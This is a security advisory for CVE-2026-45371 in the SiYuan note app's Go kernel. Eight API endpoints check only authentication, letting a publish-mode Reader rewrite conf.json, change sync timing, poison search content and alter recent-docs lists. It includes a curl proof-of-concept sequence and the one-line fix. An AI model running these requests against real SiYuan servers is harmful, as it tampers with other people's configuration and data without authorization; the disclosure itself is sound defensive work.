PT-2026-40729 · Go · Github.Com/Siyuan-Note/Siyuan/Kernel
Published
2026-05-13
·
Updated
2026-05-13
·
CVE-2026-45371
CVSS v4.0
7.2
High
| Vector | AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N |
Summary
SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs
POST /api/graph/getGraph, POST /api/graph/getLocalGraph, POST /api/sync/setSyncInterval, POST /api/storage/updateRecentDocViewTime, POST /api/storage/updateRecentDocCloseTime, POST /api/storage/updateRecentDocOpenTime, POST /api/storage/batchUpdateRecentDocCloseTime, and POST /api/search/updateEmbedBlock are registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly. Each of them writes server-side state, including atomic rewrites of <workspace>/conf/conf.json via model.Conf.Save(). Any caller whose JWT passes CheckAuth, including a publish-service RoleReader (the role assigned to anonymous publish visitors) and a RoleEditor against a workspace where Editor.ReadOnly = true, can hit them. This is the same root-cause class as the patched GHSA-6r88-8v7q-q4p2 and GHSA-4j3x-hhg2-fm2x.Details
Affected: github.com/siyuan-note/siyuan, all tags up to and including v3.6.5 (HEAD
96dfe0be).The router in
kernel/api/router.go registers each endpoint below with model.CheckAuth only. Sibling endpoints in the same group are correctly gated, which makes the omission unambiguous:kernel/api/router.go:87 /api/storage/updateRecentDocViewTime CheckAuth only
kernel/api/router.go:88 /api/storage/updateRecentDocCloseTime CheckAuth only
kernel/api/router.go:89 /api/storage/batchUpdateRecentDocCloseTime CheckAuth only
kernel/api/router.go:90 /api/storage/updateRecentDocOpenTime CheckAuth only
kernel/api/router.go:188 /api/search/updateEmbedBlock CheckAuth only
kernel/api/router.go:279 /api/sync/setSyncInterval CheckAuth only
kernel/api/router.go:400 /api/graph/getGraph CheckAuth only
kernel/api/router.go:401 /api/graph/getLocalGraph CheckAuth only
# Compare the gated siblings on adjacent lines:
kernel/api/router.go:278 /api/sync/setSyncEnable CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:280 /api/sync/setSyncPerception CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:281 /api/sync/setSyncGenerateConflictDoc CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:398 /api/graph/resetGraph CheckAuth, CheckAdminRole, CheckReadonly
kernel/api/router.go:399 /api/graph/resetLocalGraph CheckAuth, CheckAdminRole, CheckReadonly
Per-handler evidence:
kernel/api/graph.go:53 getGraph. Despite the verb "get", the body unconditionally overwrites model.Conf.Graph.Global from caller-supplied JSON and persists the entire workspace conf.json:graphConf, err := gulu.JSON.MarshalJSON(confArg)
...
global := conf.NewGlobalGraph()
gulu.JSON.UnmarshalJSON(graphConf, global)
model.Conf.Graph.Global = global // attacker-controlled write
model.Conf.Save() // atomic rewrite of conf.json
kernel/api/graph.go:106 getLocalGraph. Same pattern on model.Conf.Graph.Local. Note the legitimate writers resetGraph (graph.go:29) and resetLocalGraph (graph.go:41) only set the struct to its constructor default (NewGlobalGraph() / NewLocalGraph()), whereas getGraph / getLocalGraph accept the entire struct from the caller, so the unauthorized surface is strictly larger than the gated reset endpoints.kernel/api/sync.go:597 setSyncInterval. Calls model.SetSyncInterval(int(interval)) (kernel/model/sync.go:394) which writes Conf.Sync.Interval, persists Conf.Save(), and reschedules the sync goroutine via planSyncAfter. The model layer clamps the interval to [30, 43200], but a Reader can still pin sync to either bound (30 s for battery and bandwidth pressure on every connected client, or 12 h to effectively suspend cloud sync without changing the UI toggle).kernel/api/search.go:287 updateEmbedBlock. Calls model.UpdateEmbedBlock(id, content) (kernel/model/search.go:198), which validates only that the block type is BlockQueryEmbed and then forwards to updateEmbedBlockContent (kernel/model/index.go:342). That helper rewrites the SQL blocks row's content column for the given embed-block ID via sql.UpdateBlockContentQueue. There is no publish-access check, so any embed block ID anywhere in the workspace is writable. The SQL content column is what fullTextSearchBlock and getEmbedBlock read from, so a Reader can poison search results visible to other users.kernel/api/storage.go:251,295,273,317 updateRecentDocViewTime / updateRecentDocCloseTime / updateRecentDocOpenTime / batchUpdateRecentDocCloseTime. Each rewrites the workspace recent-docs JSON file under recentDocLock (kernel/model/storage.go:171,213 ...). A Reader can register any rootID (including IDs in publish-private notebooks) into the recent-docs list, manipulating the admin's recently-opened-documents UI and history.The bugs have all existed since v3.6.5 (the active release tag) and the live
master branch. Two adjacent advisories already patched the exact same shape: GHSA-6r88-8v7q-q4p2 (getTag writing Conf.Tag.Sort) and GHSA-4j3x-hhg2-fm2x (renderSprig missing CheckAdminRole + CheckReadonly). Both are listed by the maintainers as occurrences "the same root-cause class" that has to be patched per-occurrence, so this report enumerates the remaining occurrences in one pass.PoC
Source-level reproduction. The same Docker compose lab the maintainers used for
GHSA-6r88 works here:# 1. Authenticate as any role with CheckAuth (admin used here for convenience;
# a publish-mode Reader JWT works equivalently).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth
-H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null
# 2. Read current Conf.Sync.Interval and Conf.Graph.Global from /api/system/getConf.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf
-H 'Content-Type: application/json' -d '{}'
| python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];
print('Conf.Sync.Interval BEFORE =',c['sync']['interval']);
print('Conf.Graph.Global.minRefs BEFORE =',c['graph']['global']['minRefs'])"
# 3. setSyncInterval as Reader.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/sync/setSyncInterval
-H 'Content-Type: application/json' -d '{"interval":30}'
# 4. getGraph as Reader, supplying a custom graph config struct.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/graph/getGraph
-H 'Content-Type: application/json'
-d '{"k":"","conf":{"minRefs":99,"maxBlocks":1,"d3":{"linkWidth":99}}}'
# 5. Confirm in-memory and on-disk persistence.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf
-H 'Content-Type: application/json' -d '{}'
| python3 -c "import json,sys;c=json.load(sys.stdin)['data']['conf'];
print('Conf.Sync.Interval AFTER =',c['sync']['interval']);
print('Conf.Graph.Global.minRefs AFTER =',c['graph']['global']['minRefs'])"
docker exec siyuan-audit grep -oE '"interval":[0-9]+' /siyuan/workspace/conf/conf.json
docker exec siyuan-audit grep -oE '"minRefs":[0-9]+' /siyuan/workspace/conf/conf.json
# 6. updateEmbedBlock - rewrite SQL content for any embed block ID.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/search/updateEmbedBlock
-H 'Content-Type: application/json'
-d '{"id":"<embed-block-id>","content":"poisoned"}'
Source-level proof, no privileged token involved:
$ grep -nE 'ginServer.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)'
kernel/api/router.go
| grep -vE 'CheckAdminRole|CheckReadonly'
kernel/api/router.go:87: ... /api/storage/updateRecentDocViewTime", model.CheckAuth, ...
kernel/api/router.go:88: ... /api/storage/updateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:89: ... /api/storage/batchUpdateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:90: ... /api/storage/updateRecentDocOpenTime", model.CheckAuth, ...
kernel/api/router.go:188: ... /api/search/updateEmbedBlock", model.CheckAuth, ...
kernel/api/router.go:279: ... /api/sync/setSyncInterval", model.CheckAuth, ...
kernel/api/router.go:400: ... /api/graph/getGraph", model.CheckAuth, ...
kernel/api/router.go:401: ... /api/graph/getLocalGraph", model.CheckAuth, ...
Standing up the publish-mode Reader path end-to-end was not done in this audit; the source-level diff against the gated siblings and the prior advisories' fix pattern are the same evidence the maintainers accepted for
GHSA-fmh9-gpqh-g53g and GHSA-6r88-8v7q-q4p2 published 2026-05-08.Impact
A publish-mode Reader (default for any anonymous publish visitor) and a publish-mode Editor against a
Editor.ReadOnly = true workspace can:- Atomically rewrite
<workspace>/conf/conf.jsonviaConf.Save()fromsetSyncInterval,getGraph,getLocalGraph.Conf.Save()rewrites the entire file, so a Reader racing with a legitimate admin save can revert unrelated configuration changes the admin made in the same window. - Set the cloud sync interval to either bound of the
[30, 43200]clamp. 30 s pins clients to the worst-case sync hammer, draining battery and bandwidth on every connected device. 43200 s effectively pauses cloud sync for the workspace without flipping the visible "Sync enabled" toggle, increasing the chance of data divergence between devices and decreasing the likelihood that a Reader-induced state corruption is caught quickly. - Overwrite
Conf.Graph.GlobalandConf.Graph.Localwith a caller-controlled struct, breaking graph rendering for the admin (extrememaxBlocks,minRefs,nodeSize, etc.). The reset endpoints at the same path are gated behind admin role specifically because the maintainers considered graph configuration a privileged setting. - Poison the SQL
blocks.contentcolumn for any embed-block ID viaupdateEmbedBlock. Search functions that read the SQL index (fullTextSearchBlock,getEmbedBlock) return the poisoned content to other users, so a Reader can plant content other users will see. - Manipulate the recent-documents list seen by the admin via the four
updateRecentDoc*writers, including registering IDs from publish-private notebooks (information disclosure plus UI manipulation).
The fix is a one-token edit per registration: add
model.CheckAdminRole and model.CheckReadonly to each affected ginServer.Handle call, mirroring the gated siblings and the patches for GHSA-6r88-8v7q-q4p2 and GHSA-4j3x-hhg2-fm2x.Fix
Missing Authorization
Improper Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Github.Com/Siyuan-Note/Siyuan/Kernel